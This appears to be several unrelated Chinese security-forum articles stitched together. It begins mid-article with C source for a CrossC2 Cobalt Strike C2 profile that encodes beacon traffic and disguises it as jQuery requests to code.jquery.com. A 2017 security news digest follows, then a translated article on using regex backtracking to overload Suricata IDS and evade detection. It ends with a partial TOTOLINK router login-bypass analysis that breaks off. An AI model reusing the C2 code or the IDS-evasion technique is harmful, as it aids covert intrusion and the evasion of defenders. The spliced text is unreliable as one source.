if (v4 >= 0) {
v1 = (v1 << 6) + v4;
++v2;
if (v2 == 4) {
res[j++] = (char) (v1 >> 16);
res[j++] = (char) (v1 >> 8 & 255);
res[j++] = (char) (v1 & 255);
v1 = 0;
v2 = 0;
}
continue;
}
}
if (ascii == 0x20 | ascii == '\n' | ascii == '\t') {
return;
}
}
}
}
}
void ascii_to_base64_encode(long ascii[], unsigned long asciiLength, char res[]) {
long i = 0;
long j = 0;
long v1 = 0;
long v2 = 0;
long v3 = 0;
long v6 = 0;
for (i = 0; i < asciiLength; ++i) {
v6 = ascii[v1++];
if (v6 < 0) {
v6 += 256;
}
v2 = (v2 << 8) + v6;
++v3;
if (v3 == 3) {
res[j++] = BASE64_STR_CODE[v2 >> 18];
res[j++] = BASE64_STR_CODE[v2 >> 12 & 63];
res[j++] = BASE64_STR_CODE[v2 >> 6 & 63];
res[j++] = BASE64_STR_CODE[v2 & 63];
v2 = 0;
v3 = 0;
}
}
if (v3 > 0) {
if (v3 == 1) {
res[j++] = BASE64_STR_CODE[v2 >> 2];
res[j++] = BASE64_STR_CODE[v2 << 4 & 63];
res[j++] = (unsigned char) '=';
} else {
res[j++] = BASE64_STR_CODE[v2 >> 10];
res[j++] = BASE64_STR_CODE[v2 >> 4 & 63];
res[j++] = BASE64_STR_CODE[v2 << 2 & 63];
}
res[j] = (unsigned char) '=';
}
}
unsigned long get_base64_decode_length(char *base64Str) {
long num;
long base64StrLength = strlen(base64Str);
if (strstr(base64Str, "==")) {
num = base64StrLength / 4 * 3 - 2;
} else if (strstr(base64Str, "=")) {
num = base64StrLength / 4 * 3 - 1;
} else {
num = base64StrLength / 4 * 3;
}
return sizeof(unsigned char) * num;
}
unsigned long get_base64_encode_length(long strLen) {
long num;
if (strLen % 3 == 0) {
num = strLen / 3 * 4;
} else {
num = (strLen / 3 + 1) * 4;
}
return sizeof(unsigned char) * num;
}
void mask_decode(long ascii[], unsigned long asciiLength, long res[]) {
long i = 0;
long j = 0;
short key[4] = {
ascii[0],
ascii[1],
ascii[2],
ascii[3]
};
for (i = 4; i < asciiLength; ++i) {
res[j] = ascii[i] ^ key[j % 4];
j++;
}
}
void mask_encode(long ascii[], unsigned long asciiLength, long res[]) {
long i = 0;
srand(time(NULL));
short key[4] = {
(char) (rand() % 255),
(char) (rand() % 255),
(char) (rand() % 255),
(char) (rand() % 255)
};
res[0] = key[0];
res[1] = key[1];
res[2] = key[2];
res[3] = key[3];
for (i = 4; i < asciiLength; i++) {
res[i] = ascii[i - 4] ^ key[i % 4];
}
}
char *fix_reverse(char *str) {
int i = 0;
unsigned long strLength = strlen(str);
char *res = calloc(strLength + 4, strLength + 4);
for (i = 0; i < strLength; ++i) {
if (str[i] == '_') {
res[i] = '/';
} else if (str[i] == '-') {
res[i] = '+';
} else {
res[i] = str[i];
}
}
while (strlen(res) % 4 != 0) {
res[strLength++] = '=';
}
res[strlen(res) + 1] = '\0';
return res;
}
char *fix(char *str) {
int i;
unsigned long strLength = strlen(str);
char *res = calloc(strLength, strLength);
for (i = 0; i < strLength; i++) {
if (str[i] == '/') {
res[i] = '_';
} else if (str[i] == '+') {
res[i] = '-';
} else if (str[i] == '=') {
continue;
} else {
res[i] = str[i];
}
}
return res;
}
char *find_payload(char *rawData, long long rawData_len, char *start, char *end, long long *payload_len) {
rawData = strstr(rawData, start) + strlen(start);
*payload_len = strlen(rawData) - strlen(strstr(rawData, end));
char *payload = (char *) calloc(*payload_len, sizeof(char));
memcpy(payload, rawData, *payload_len);
return payload;
}
char *cc2_rebind_http_post_send_param(char *data) {
unsigned long base64DecodeLength = get_base64_decode_length(data);
long base64DecodeRes[base64DecodeLength];
memset(base64DecodeRes, 0, base64DecodeLength);
base64_decode_to_ascii(data, base64DecodeRes);
long maskEncodeRes[base64DecodeLength + 4];
memset(maskEncodeRes, 0, base64DecodeLength + 4);
mask_encode(base64DecodeRes, base64DecodeLength + 4, maskEncodeRes);
unsigned long base64EncodeLength = get_base64_encode_length(sizeof(maskEncodeRes) / sizeof(maskEncodeRes[0]));
char *result = calloc(base64EncodeLength, base64EncodeLength);
ascii_to_base64_encode(maskEncodeRes, base64DecodeLength + 4, result);
return result;
}
char *cc2_rebind_http_recv_param(char *payload) {
char *data = fix_reverse(payload);
unsigned long base64DecodeLength = get_base64_decode_length(data);
long base64DecodeRes[base64DecodeLength];
memset(base64DecodeRes, 0, base64DecodeLength);
base64_decode_to_ascii(data, base64DecodeRes);
long maskDecodeRes[base64DecodeLength - 4];
memset(maskDecodeRes, 0, base64DecodeLength - 4);
mask_decode(base64DecodeRes, base64DecodeLength, maskDecodeRes);
unsigned long base64EncodeLength = get_base64_encode_length(base64DecodeLength - 4);
char *result = calloc(base64EncodeLength, base64EncodeLength);
ascii_to_base64_encode(maskDecodeRes, base64DecodeLength - 4, result);
return result;
}
void cc2_rebind_http_get_send(char *reqData, char **outputData, long long *outputData_len) {
char *requestBody = "GET /%s HTTP/1.1\r\n"
"Host: code.jquery.comr\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko\r\n"
"Cookie: __cfduid=%s\r\n"
"Referer: http://code.jquery.com/\r\n"
"Connection: close\r\n\r\n";
char postPayload[20000];
sprintf(postPayload, requestBody, "jquery-3.3.1.min.js", reqData);
*outputData_len = strlen(postPayload);
*outputData = (char *) calloc(1, *outputData_len);
memcpy(*outputData, postPayload, *outputData_len);
}
void cc2_rebind_http_post_send(char *reqData, char *id, char **outputData, long long *outputData_len) {
char *requestBody = "POST /%s?__cfduid=%s HTTP/1.1\r\n"
"Host: code.jquery.com\r\n"
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko\r\n"
"Referer: http://code.jquery.com/\r\n"
"Connection: close\r\n"
"Content-Length: %d\r\n\r\n%s";
id = cc2_rebind_http_post_send_param(id);
reqData = cc2_rebind_http_post_send_param(reqData);
char *postPayload = (char *) calloc(1, strlen(requestBody) + strlen(reqData) + 200);
sprintf(postPayload, requestBody, "jquery-3.3.2.min.js", id, strlen(reqData), reqData);
*outputData_len = strlen(postPayload);
*outputData = (char *) calloc(1, *outputData_len);
memcpy(*outputData, postPayload, *outputData_len);
free(postPayload);
}
void cc2_rebind_http_get_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) {
char *start = "return-1},P=\"\r";
char *end = "\".(o=t.documentElement";
long long payload_len = 0;
char *payload = find_payload(rawData, rawData_len, start, end, &payload_len);
*outputData = cc2_rebind_http_recv_param(payload);
*outputData_len = strlen(*outputData);
}
void cc2_rebind_http_post_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) {
char *start = "return-1},P=\"\r";
char *end = "\".(o=t.documentElement";
long long payload_len = 0;
char *payload = find_payload(rawData, rawData_len, start, end, &payload_len);
*outputData = cc2_rebind_http_recv_param(payload);
*outputData_len = strlen(*outputData);
}
同样的编译成so文件，在生成Beacon时指定so文件。
# 难点和疑问
## 编码解码函数的实现思路
在编写c2profile.c文件的过程中，用到Base64、Mask的相关编码和解码函数。
但是在实际实践过程中会发现，从网上找到的c版Base64编码解码函数是不能直接套用的，同时Mask编码解码为CobaltStrike中自实现的相关函数。
查阅[CobaltStrike文档](https://www.cobaltstrike.com/downloads/csmanual43.pdf)会发现，对这些编码有进行相关描述，当时文档中是没有给出具体细节的。所以这里需要借助[CobaltstrikeSource](https://github.com/mai1zhi2/CobaltstrikeSource)来查看具体的函数实现。
只需要在CobaltStrike的源码中找到对应的函数实现，然后C代码照猫画虎的方式，最后再调试调试就可以实现了。
同样可以参照该思路实现netbios的编码解码，嫌麻烦不想折腾可以只使用实现方式1。
## 处理后的元数据为什么还需要进行一次Base64
[issue](https://github.com/gloxec/CrossC2/issues/89)，作者也提供了回答。
其实也可以在c2profile.c中通过printf函数打印参数值，就会发现传递进来的函数值是base64编码，那么正常你在使用CrossC2提供的demo文件时会发现，他在c2profile.c中没有对参数进行编码解码操作，意味着往下传递的参数就是base64形式的参数值。所以我们在处理完结果后应该已base64方式进行向下传递
## http-post中的server output
实际上会发现CrossC2提供的[https.profile](https://github.com/gloxec/CrossC2/blob/cs4.1/protocol_demo/https.profile)文件中有看到使用Mask编码，但是提供的[c2profile.c](https://github.com/gloxec/CrossC2/blob/cs4.1/protocol_demo/c2profile.c)文件中没有关于Mask的操作，关于这个问题可以参考[issue](https://github.com/gloxec/CrossC2/issues/102)。作者给的答复:
`实际目前server响应的post包并不带任何有效数据`，你品你细品。
c2profile.c的代码放到[GitHub](https://github.com/Richard-Tang/CrossC2-C2Profile)，其实就是实现方式2里的那段代码。 | 社区文章 |
# 【知识】11月3日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： Jackson-databind 反序列化漏洞预警（CVE-2017-15095）、App Store发现新的
iXintpwn/YJSNPI 变种、挖矿服务商CoinHive被黑！、杀软Vir.IT
eXplorer的提权漏洞、使用runscripthelper.exe绕过应用的白名单机制、QtBot intermediate
downloader的分析、FAME：友好的恶意软件分析框架**
**资讯类：**
Jackson-databind 反序列化漏洞预警（CVE-2017-15095）
<http://blog.nsfocus.net/jackson-databind-cve-2017-15095/>
App Store发现新的 iXintpwn/YJSNPI 变种
<http://blog.trendmicro.com/trendlabs-security-intelligence/app-stores-formerly-coddled-zniu-found-distributing-new-ixintpwnyjsnpi-variant/>
曾经黑了FireEye的'LeakTheAnalyst' 黑客被捕
<https://thehackernews.com/2017/11/fireeye-mandiant-hacker.html>
挖矿服务商CoinHive被黑！DNS服务器账号因密码强度不够被入侵
（10 月 24 日，Coinhive 公司发出声明表示该公司所使用的 DNS 服务帐号于 10 月 23 日被黑客入侵。黑客篡改了 Coinhive 的
DNS 记录，将所有连上 coinhive.min.js 的流量指向另一台非该公司所有的服务器。）
<https://blog.trendmicro.com.tw/?p=53116>
**技术类：**
Google搜索结果被干扰，为恶意木马Zeus Panda banking Trojan引流
<https://www.bleepingcomputer.com/news/security/group-uses-seo-to-poison-google-search-results-with-links-to-banking-trojan/>
<http://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html>
杀软Vir.IT eXplorer的提权漏洞
<https://www.exploit-db.com/exploits/43109/>
漏洞作者的博客详细介绍：
<https://www.greyhathacker.net/?p=990>
使用runscripthelper.exe绕过应用的白名单机制
<https://posts.specterops.io/bypassing-application-whitelisting-with-runscripthelper-exe-1906923658fc>
Lifting Windows Driver Binaries into LLVM IR
<https://sslab.gtisc.gatech.edu/2017/win-lift.html>
如何利用以及防止Race Conditions
<https://lightningsecurity.io/blog/race-conditions/>
An analysis of the QtBot intermediate downloader
<https://researchcenter.paloaltonetworks.com/2017/11/unit42-everybody-gets-one-qtbot-used-distribute-trickbot-locky/>
藏在ppsx中的恶意代码
<https://www.virustotal.com/en/file/56b9af6035fcc0758733427227cc06aeba678866a3dd5403204d11c5e827de58/analysis/1509619765/>
对Android平台的Telegram Messager的取证分析，发现Telegram在其协议上有严重的问题。
<http://people.unipmn.it/sguazt/pubs/Anglano-2017-Telegram.pdf>
FAME：友好的恶意软件分析框架
[https://www.virusbulletin.com/blog/2017/11/paper-fame-friendly-malware-analysis-framework/](https://www.virusbulletin.com/blog/2017/11/paper-fame-friendly-malware-analysis-framework/)
[https://certsocietegenerale.github.io/fame/](https://certsocietegenerale.github.io/fame/)
Bypassing Browser Security Warnings with Pseudo Password Fields
<https://www.troyhunt.com/bypassing-browser-security-warnings-with-pseudo-password-fields/>
OctoberCMS 1.0.426 (Build 426) CSRF漏洞
<https://www.exploit-db.com/exploits/43106/>
如何在Vim中启用拼写检查
[https://www.ostechnix.com/use-spell-check-feature-vim-text-editor/](https://www.ostechnix.com/use-spell-check-feature-vim-text-editor/)
Ubuntu Desktops比较
[https://www.datamation.com/open-source/ubuntu-desktops-compared.html](https://www.datamation.com/open-source/ubuntu-desktops-compared.html)
Mac也会中恶意软件！回顾Mac恶意软件的演化，以及用户该如何保护自己
[https://www.youtube.com/watch?v=vdF190cIes4](https://www.youtube.com/watch?v=vdF190cIes4) | 社区文章 |
# 我们来谈一谈IDS签名
|
##### 译文声明
本文是翻译文章，文章来源：blog.ptsecurity.com
原文地址：<http://blog.ptsecurity.com/2018/03/we-need-to-talk-about-ids-signature.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
Snort和Suricata入侵检测系统在网络安全领域一直为人所熟知。WAF和IDS是两类安全系统，用来分析网络流量，解析上层协议，从而标记出恶意流量、攻击行为等。不同的是，WAF能够帮助服务器检测并避免仅针对他们的攻击，而IDS则是可以检测出所有网络流量中的恶意攻击（但仅限于检测）。
许多公司安装IDS来监控内网中的流量。DPI机制（Deep Packet
Inspection：深度包检测，一种基于应用层的流量检测和控制技术）可以让他们收集到IP，HTTP，DCE/RPC或者其他层的流量数据包，并识别出其中是否有利用漏洞或是其他恶意攻击行为的流量。
这两种系统的核心都是用于检测已知攻击的签名集，这些签名集是由全球的网络安全专家以及安全公司共同开发维护。
我们所在的团队attackdetection也开发过一些检测网络攻击以及恶意行为的签名。而接下来你在这篇文章中将看到我们发现的一种可以破坏Suricata
IDS系统，并且能够隐藏攻击痕迹的方法。
## 二、IDS工作原理剖析
在深入研究IDS绕过技术的细节及其应用的阶段之前，我们先来重新阐述一下IDS背后的原理概念。
首先进来的流量被分为TCP流，UDP流或者其他流，然后解析器将其标记并分解为高层协议及其相关字段，并根据需要进行标准化处理。之后这些经过解码，解压，标准化后的协议字段会与检测网络流量中是否含有恶意攻击流量的签名集进行比对。
顺便补充一点，签名集是众多安全研究人员与安全公司共同努力维护的产物。像比较有名的安全公司Cisco Talos以及Emerging
Threats都参与其中。目前开放的规则集包含超过20000个签名。
## 三、常见的IDS绕过方法
IDS本身的缺陷以及一些软件使用错误有时就会导致其无法在流量中准确检测到攻击行为。下面是一些在流量解析阶段常见的绕过方法:
> * 数据包的非标准分段（把请求分开放在不同的包文中），包括在IP，TCP，和 DCERPC层。IDS有时无法正确处理。
> * 具有边界值或无效的TTL/MTU的数据包有时会被IDS不正确地处理。
> * IDS系统不会像服务器或客户端那样正确处理TCP模糊重叠分片（TCP SYN序列号）。
> * 例如，将具有无效校验和的TCP FIN虚拟数据包（所谓的TCP un-sync）解释为会话结束，而不是将其忽略。
> * 有时IDS和客户端之间TCP会话的不同超时时间也可用作为隐藏攻击的工具。
>
至于协议解析和字段规范化阶段，许多WAF绕过技术可以应用于IDS。下面介绍其中的一部分:
> * HTTP双重编码。
> * 经过Gzip压缩的HTTP数据包如果没有相应的Content-> Encoding头，可能在标准化阶段保持未压缩状态;这种技术有时可以在恶意流量中检测到。
> * 使用一些罕见编码（如POP3/IMAP的Quoted-Printable）也可能导致某些签名无效。
>
并且不要忘记每一个IDS系统供应商有时都会被报出特定的BUG包括在其中使用的一些第三方库有时也会出现一些漏洞，这些都会在各大公共漏洞平台中找到。
其中一个可以在特定条件下触发使得签名检测无效化的bug是由我们的团队attackdetection在Suricata系统中找到的；这个漏洞可以被利用造成像BadTunnel一样的攻击。
在攻击过程中，受害者打开一个由攻击者生成的HTML页面，在双方之间建立一个UDP隧道，连接到攻击者服务器的137端口上。一旦建立了隧道，攻击者就可以通过向NBNS请求发送假响应来伪装成受害者。尽管有三个数据包发送到攻击者的服务器，但只需响应其中一个数据包即可建立隧道。
产生这个问题的原因是，对来自客户端的第一个UDP数据包的响应是一个ICMP数据包，例如ICMP Destination
Unreachable（端口不可达），IDS不够精确的算法将使得该数据流仅通过ICMP签名进行验证。任何进一步的攻击，包括身份伪造等，都未能被IDS检测出来，因为它们是在UDP隧道之上传输的。无论是否有此漏洞的标识、签名，都会导致IDS安全功能的丧失。
上述绕过技术都是众所周知的，并且在现代并长期开发维护的IDS系统中已被封禁、淘汰。而那些特定的BUG和漏洞仅适用于未打补丁的旧版本。
因为我们的团队致力于网络安全以及网络攻击研究，而且也亲手开发，测试签名，所以我们一直在关注绕过签名以及签名本身相关缺陷的技术。
## 四、利用签名绕过签名检测
等一下，签名怎么会成为问题呢？
研究人员对于突然出现的网络攻击威胁，首先会对其分析，得到如何检测这一攻击的规则。抽取其中的特征，并将结果转化为一个或多个签名并用IDS能够理解的语言编写出来。由于系统能力有限有时也因为研究人员的失误，一些利用漏洞的流量仍然无法检测出来。
在协议族及信息格式不变，恶意软件发出的流量不变且针对他们的签名正常工作的情况下，如果协议及其可变性越复杂，攻击者就越容易在不改变恶意功能的情况下更改漏洞利用形式从而绕过签名检测。
尽管您可以从不同的供应商那里找到许多检测最危险以及最受关注的一些漏洞的签名，但其他的签名有时可以通过简单的方法来绕过。以下是HTTP常见签名错误的示例：有时，只需更改HTTP
GET参数的顺序即可绕过签名检查。
而且您可能认为在签名中检测具有固定顺序参数的子字符串是很常见的，例如“？action = checkPort”或“action =
checkPort＆port =”。所需要的只是仔细比对签名规则，检查它是否包含这样的硬编码。
其他一些同样复杂的协议、格式像DNS，HTML和DCERPC，它们都具有极高的可变性。因此，为了覆盖所有攻击变体的特征，不仅要开发高质量还要可以快速检测的签名。所以开发人员必须拥有广泛的技能以及拥有网络协议方面丰富的知识。
IDS签名的不足之处已经是老生常谈了，您可以在很多报告中找到关于它的其他看法：[1](https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=3&ved=0ahUKEwj1z6GFjPPXAhWiAJoKHWBwCMYQFgg7MAI&url=https://www.blackhat.com/presentations/bh-usa-00/Ron-Gula/ron_gula.ppt&usg=AOvVaw0atDOmktQHu-zmOZBBZZfO)，[2](https://www.alertlogic.com/blog/ids/ips-signature-bypassing-\(snort)，[3](https://github.com/ahm3dhany/IDS-Evasion)。
## 五、签名检测所消耗的资源
如前所述，签名检测速度是开发者所要考虑的重要因素，自然，签名越多，扫描所需的CPU等资源就越多。“golden
mean”规则推荐在Suricata系统下，增加一CPU全负载应该等于1000个签名*500Mbps网络流量。
它取决于签名数量和网络流量。虽然这个公式看起来不错，但它没有发现签名检测可能很快或很慢，并且流量可能非常多样化的事实。那么如果一个检测缓慢的签名遇到流量堵塞，会发生什么呢？
Suricata可以记录签名的性能数据。日志收集检测最慢签名的数据，并生成一个列表，指定执行时间，以时钟周期为单位-CPU占用时间和执行的检查次数。最慢的签名位于顶部。
红线圈出的部分签名是检测起来非常耗时的，该清单不断更新;不同的流量配置文件肯定会列出其他签名。这是因为签名通常由检查规则的一个子集组成，例如搜索以特定顺序排列的子字符串或正则表达式。检查网络数据包或数据流时，签名会检查其全部内容以获取所有有效组合。因此，对同一个签名的检查树可以具有更多或更少的分支，并且执行时间将根据分析的流量而变化。因此，开发人员的任务之一就是优化签名以适应任何类型的流量。
如果IDS未能正确实施并且无法检查所有网络流量时，会发生什么呢？一般来说，如果CPU内核的平均负载超过80％，就意味着IDS已经开始跳过一些数据包检查了。核心上的负载越高，越多的网络流量检查就会被跳过，恶意行为被忽视的可能性就越大。
如果签名花费太多时间来尝试增加检查网络数据包的效果时会怎样？这样的操作方案会迫使IDS忽略数据包以及可能潜在的攻击。我们已经在实时流量中列出了热门（耗时多）签名，我们将尽力扩大他们的影响。
## 六、开始攻击实战
上述列表中的一个签名是用来检测流量中企图利用漏洞CVE-2013-0156（RoR YAML反序列化代码执行）的。
IDS会检查所有针对公司Web服务器的HTTP流量是否存在以下严格的字符串序列—“type”，’yaml”，’!Ruby”—并使用正则表达式进行检查。
在我们着手生成“恶意”流量之前，我会提出一些可能有助于我们研究的假设：
> * 找到匹配的子字符串比证明没有找到匹配的子字符串耗时更短。
> * 对于Suricata系统来说，正则表达式匹配检查比直接搜索检查字符串更耗时。
>
也就是说如果我们想要签名检查的时间更长，这些检测匹配就应该是不成功的，并让其使用正则表达式。
为了让其使用正则表达式检查，我们在数据包中构造三个拼接在一起的子串。
接下来，我们尝试按顺序组合它们并运行IDS来执行检查。为了从文本中构建带有Pcap格式的HTTP流量文件，我使用了[Cisco
Talos的file2pcap](https://github.com/Cisco-Talos/file2pcap)工具:
另一个日志文件，keyword_perf.log，可以帮助我们看到checks链成功地被正则表达式匹配（content
matches—3），然后失败（PCRE
matches—0）。如果之后我们想从资源密集的PCRE检查中受益，我们就需要彻底地解析它并选择一些有效的流量攻击。
反向解析正则表达式的任务虽然易于手动执行，但很难将过程自动化。原因是它具有特定的反向引用或命名捕获组结构：我根本找不到任何方法来自动选择可以成功通过正则表达式的字符串。
以下构造是这种表达式所需的最小字符串。为了测试一个不成功的搜索比成功的搜索更耗费资源的理论，我们将修剪字符串中最右边的字符并再次进行正则匹配。
事实证明，同样的理论也适用于正则表达式：不成功的搜素比其成功的搜索进行了更多的步骤。在本次示例中，其中的差异大于50％。你可以在[这里](https://regex101.com/r/51ukhR/1)看到。
通过对这个正则表达式的进一步研究，我们有了另一个重大发现。如果我们反复复制去除最后一个字符的最短字符串，IDS为了对其进行检查需要采取大量步骤去完成检测，其增长曲线是爆炸性的:
几十个这样的字符串的扫描时间已经在1秒左右，并且增加它们的数量有超时错误的风险。正则表达式中的这种效果被称为catastrophic
backtracking（灾难性回溯）。有许多文章来专门讨论它。而且很多常见的产品中仍然有这种错误;例如，最近在[Apache
Struts](https://cwiki.apache.org/confluence/display/WW/S2-050)框架中就存在这样的问题。
让我们把得到的字符串用Suricata进行检查:
然而，IDS并没有发现灾难性回溯，而且仅仅有一百万个ticks。在调试和检查Suricata
IDS源代码以及其中使用的libpcre库之后，我偶然发现了这些PCRE限制:
> * MATCH_LIMIT DEFAULT = 3500
> * MATCH_LIMIT_RECURSION_DEFAULT = 1500
>
这些限制在许多正则库中都存在，用来避免灾难性回溯的发生。在正则匹配占主导地位的WAF中也可以找到同样的限制。当然，这些限制可以在IDS配置中进行更改，但默认情况下不会改变，并且并不推荐更改它们。
看来，只使用正则表达式不会帮助我们达到预期的效果。但是如果我们使用IDS检查包含此内容的网络数据包，该怎么办？
在这种情况下，我们得到以下日志值:
有4个checks，后来变成7个只是因为重复初始字符串。虽然机制尚不清楚，但如果我们进一步复制字符串，所期望的checks数量应该会继续增加。最后，我得到了以下值:
content **1508** **1507**
pcre **1492** 0
总的来说，无论签名检查了什么内容，子字符串和正则表达式的检查次数都不会超过3000次。很显然，IDS本身也有一个内部限制器，它的名称为检查递归限制，默认设置为3000。因为存在PCRE，IDS限制以及一次性内容大小检测，我们可以通过修改内容并使用snowballing正则表达式进行检查，可以得到以下结果:
content 3626 1508 1507
pcre **1587144** 1492 0
尽管一个正则表达式检查的复杂性没有改变，但这种检查的数量已经达到了1500。将检查次数乘以在每次检查上花费的平均时钟周期数，我们得到想要的三百万ticks。
这已经超过了千倍！该操作仅需要curl程序来生成最小HTTP POST请求。如下所示:
重复模式下HTTP字段和正文的最小集合。
这样的内容并不能无限放大来造成IDS花费大量资源检查的局面，因为虽然在其内部TCP段被加入到单个流中，但无论多大的流和收集到的HTTP包都并没有被完全检查。相反，他们被检查的大小仅仅是约为3-4千字节的小块。要检查的段的大小以及检查的深度可以在config中设置（IDS中的所有内容都可以在这里设置）。从端到端传输的数据包段大小在“浮动”，以避免对这些段的分片攻击
— 当攻击者知道默认段的大小时，就会拆分发送的网络数据包，以便将攻击分为两个相邻段，从而绕过签名检测。
所以，我们刚刚掌握了一个强大的武器，来强迫IDS加载从而使得CPU达到过载的程度（3,000,000,000 CPU ticks）。
实际获得的数字大约是CPU平均操作1秒。基本上，通过发送大小为3
KB的HTTP请求，我们使得IDS加载整整一秒。IDS中的核心越多，它可以同时处理的数据流就越多。
请记住，IDS不会闲置，通常会花费一些资源监视后台网络流量，从而降低攻击阈值。
使用8/40 Intel Xeon E5-2650 v3 CPUcores（2.30
GHz），无其他流量（8个CPU内核均已100％加载）的IDS按照配置指标IDS进行正常工作时，阈值仅为250
Kbps。这就是设计用于处理数千兆网络流的系统，即thousands of times greater。
为了利用这个特定的“签名”，攻击者只需每秒向受保护的Web服务器发送大约10个HTTP请求，以逐渐填充IDS的网络包队列。当缓冲区填满时，数据包开始绕过IDS，攻击者可以使用任何工具或进行任意攻击，同时不被检测系统察觉。恶意流量的持续发送会使IDS瘫痪，直到流量停止轰击内部网络;而对于短期攻击，攻击者可以利用这些数据包发送致命的恶意流量，并在短时间内使检测系统失效。
目前的机制无法检测慢签名导致的问题：尽管IDS有一个分析代码，但系统无法区分这是恶意的速度慢还是只是检测速度很慢的签名。由于缺少相关内容，慢签名触发也不会发出任何信号。
你还记得checks数量无法解释的增加吗？确实存在IDS错误，导致多余checks数量增加。该漏洞的名称为CVE-2017-15377，现已在Suricata
IDS 3.2和4.0中修复。
上述方法对于一个特定签名尤其好用，这个签名存在于开放的签名集中，默认启用，但清单顶部还在不断出现新的签名，而另一些则继续等待与其匹的的配流量。Snort和Suricata的签名描述语言为开发人员提供了许多方便的工具，例如base64解码，内容跳转和数学运算。其他checks组合也可能导致资源消耗爆炸性增长。细致地监控性能数据却也成为了这个漏洞实现的跳板。在CVE-2017-15377问题得到解决后，我们再次启动Suricata来检查我们的网络流量，还是看到了完全相同的图片:日志顶部同样的签名列表，只是具体数字不同。这表明这种签名以及利用它们的方式依然很多。
不仅是IDS，反病毒软件，WAF以及许多其他的系统都是基于这种签名搜索的方式。因此，这种方法也可以应用于其他对搜索处理不当的系统当中。它可以间接地阻止检测系统检测恶意行为。安全工具或是异常检测器都无法检测到相关的网络活动。作为一个实验，在您的检测系统中启用分析设置
– 并注意性能日志的顶部。 | 社区文章 |
**作者：The_Itach1@知道创宇404实验室
日期：2022年10月25日**
## 漏洞简介
TOTOLINK NR1800X最近报了一些cve，现主要对其命令注入进行具体分析，以及对其登录绕过进行分析。
固件下载地址：<https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/225/ids/36.html>
## 环境搭建
### 固件提取
binwalk提取固件
`binwalk -Me
TOTOLINK_C834FR-1C_NR1800X_IP04469_MT7621A_SPI_16M256M_V9.1.0u.6279_B20210910_ALL.web`
查看文件相关信息，mips架构，小端序，使用mipsel来进行模拟。
`readelf -h ./bin/busybox`
### 固件模拟
有两种模拟方式，user模式和system模式，感觉根据后面的模拟结果来看，好像差别不是很大。
#### user模式模拟
尝试用qemu模拟
cp $(which qemu-mipsel-static) .
sudo chroot . ./qemu-mipsel-static ./usr/sbin/lighttpd
会报错，显示`No configuration available. Try using -f option.`，这个报错是需要-f指定已有的配置文件。
运行`sudo chroot . ./qemu-mipsel-static ./usr/sbin/lighttpd -f
./lighttp/lighttpd.conf`即可，接着又会报错，说缺少一个文件，创建在对应目录创建一个即可。
cd ./var
mkdir run
cd run
touch touch lighttpd.pid
然后运行，可以看到服务启动成功。
但是这个路由器登录是需要密码的，并且由于是模拟的关系，大部分功能无法正常使用，登录不进去，但是还好经过搜索，发现看雪上有一篇文章讲述了如何进行绕过登录，登录过后，能观察到里面的一些设置，通过bp抓包能分析出一些有效的请求头内容，其数据传输通过json实现。
#### system模拟
user模拟中创建的文件都要有，后面会一起传到quem模拟的虚拟机中。
下载qemu启动虚拟机所需要的“镜像”，这是小端序，所以去下载mipsel的镜像。
wget https://people.debian.org/~aurel32/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta
创建虚拟网桥，实现虚拟机内部和Ubuntu的连接，并且启动虚拟机，创建一个shell文件。
#set network
sudo brctl addbr virbr0
sudo ifconfig virbr0 192.168.5.1/24 up
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.5.11/24 up
sudo brctl addif virbr0 tap0
qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic
然后`sudo ./test.sh`执行。
最后会让登陆和输入密码，都写root就行，然后就能成功进入qemu虚拟机。
在启动的虚拟机里面添加一个IP，是在上面图片中的qemu虚拟机中执行命令。
ifconfig eth0 192.168.5.12 up
然后则是将提取出的固件的文件系统上传到qemu虚拟机中，在Ubuntu主机中执行命令。
scp -r squashfs-root/ [email protected]:/root/
然后到qemu虚拟机中进行挂载和启动。
chroot ./squashfs-root/ /bin/sh
./usr/sbin/lighttpd -f ./lighttp/lighttpd.conf
成功启动
界面这些和user模式都是差不多一样的。
## 漏洞分析
报了很多个漏洞，大部分是堆栈溢出，然后一些是命令注入，这里主要分析命令注入的相关漏洞。
### 登录验证绕过
这两个命令执行都是是需要登录验证的，这里先来分析如何进行登录验证绕过。
无论输入什么密码，都会返回错误，错误码为302。
先随便输入一个密码，看看发的包，可以看到主要的包有两个，先看第一个包。
可以看到处理http
post请求的是cstecgi.cgi，传入了username和password，对应action是login，我们到相关位置去查看对应的代码。
可以看到，这里主要就是用sprinf初始一段语句，我们需要注意的是其中的topicurl，这个后面跟的就是对应接口的字符串，所以我们要去寻找loginAuth对应的处理函数。
这里再说一下，cstecgi.cgi处理不同的函数接口就是通过topicurl的值实现的，也就是后面goto LABEL_16的代码部分。
所以这些函数名称和函数地址也是那种常见的结构体的形式，我们要寻找loginAuth对应的处理函数，找到字符串的交叉引用，然后在周围找找，d键一下，就能找到对应的处理函数，函数地址在sub_42AEEC，下面来具体分析这个函数。
前面还是会获取一些参数的值，比如username还有password这些，然后还对password进行了urldecode。
然后中间会有段比较password和http_passwd的代码，其会修改v18的值。
v17 = strcmp(v6, v30); // username http_username
if ( !strcmp(v35, v32) ) // passwd http_passwd
v18 = v17 != 0;
else
v18 = 1;
